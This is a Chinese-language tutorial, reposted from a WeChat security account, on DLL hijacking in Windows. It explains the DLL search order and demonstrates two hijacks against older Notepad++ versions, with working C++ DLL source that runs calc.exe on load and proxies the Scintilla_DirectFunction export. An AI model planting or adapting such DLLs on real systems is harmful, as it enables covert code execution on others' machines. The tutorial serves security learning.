前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货 | DLL劫持

干货 | DLL劫持

作者头像
HACK学习
发布2021-06-24 17:34:27
1.8K0
发布2021-06-24 17:34:27
举报
文章被收录于专栏:HACK学习HACK学习

什么是dll

DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。利⽤DLL劫持漏洞,病毒⽊⻢可以随着⽂档的 打开(或者其他⼀些程序正常⾏为)⽽激活⾃身,进⽽获得系统的控制权。

原理

DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。

  1. 程序所在⽬录。
  2. 加载 DLL 时所在的当前⽬录。
  3. 系统⽬录即 SYSTEM32 ⽬录。
  4. 16位系统⽬录即 SYSTEM ⽬录。
  5. Windows⽬录。
  6. PATH环境变量中列出的⽬录

dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。

通过VS2019生成一个dll

两种不同的劫持方式

使用工具:ProcessMonitor

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

一.劫持源程序没有的dll

使用ProcessMonitor 找到一个没有加载的dll,这里使用notepad++测试

添加过滤条件进程名为notepad++

添加过滤条件路径为E:\notepad++

添加结果为NAME NOT FOUND

然后点击ok

打开notepad++

可以看到有很多dll

先双击uxtheme.dll(这里找一下,找一个有loadlibrary相关的API的dll,你的notepad++可能没有这个dll,因为notepad++版本有可能你的跟我的不一样),然后左键stack

找到loadlibrary相关的API

在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中):

代码语言:javascript
复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

当进程创建时就打开计算器

我们双击启动notepad++一下试试

成功弹出计算器,执行了我们的恶意代码

二.劫持已经存在的dll

工具:CFF explorer

下载地址:http://www.ntcore.com/files/ExplorerSuite.exe

1.设置过滤条件如图,过程跟刚刚差不多

2.打开notepad.exe,查看监听器中有dll⽂件的事件详情:

3. 可以看到这个dll⽂件是notepad++使⽤系统API LoadLibrary 调⽤的,所以可以利⽤该点对程序进⾏ dll劫持

找到这个dll,就在notepad++相同目录下

4.把这个dll拖入CFF explorer 中

找到这个导出表

他有一个导出函数

5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名

代码语言:javascript
复制
#include "pch.h"
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD  ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
MessageBox(NULL, L"hello", L"SD", NULL);
HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");
if (hDll)
{
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll,"Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}
FreeLibrary(hDll);
}
return;
}

这里虽然报错但是还是弹出了计算机

说明

在notepad++7.3.3以后notepad官方已经修复这个漏洞,再7.3.3版本以后每次运行notepad++会先检查这个dll是否时原来的dll,这里如果要测试需要下载7.3.3以前的版本

本文仅供学习,切勿用于非法破坏!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档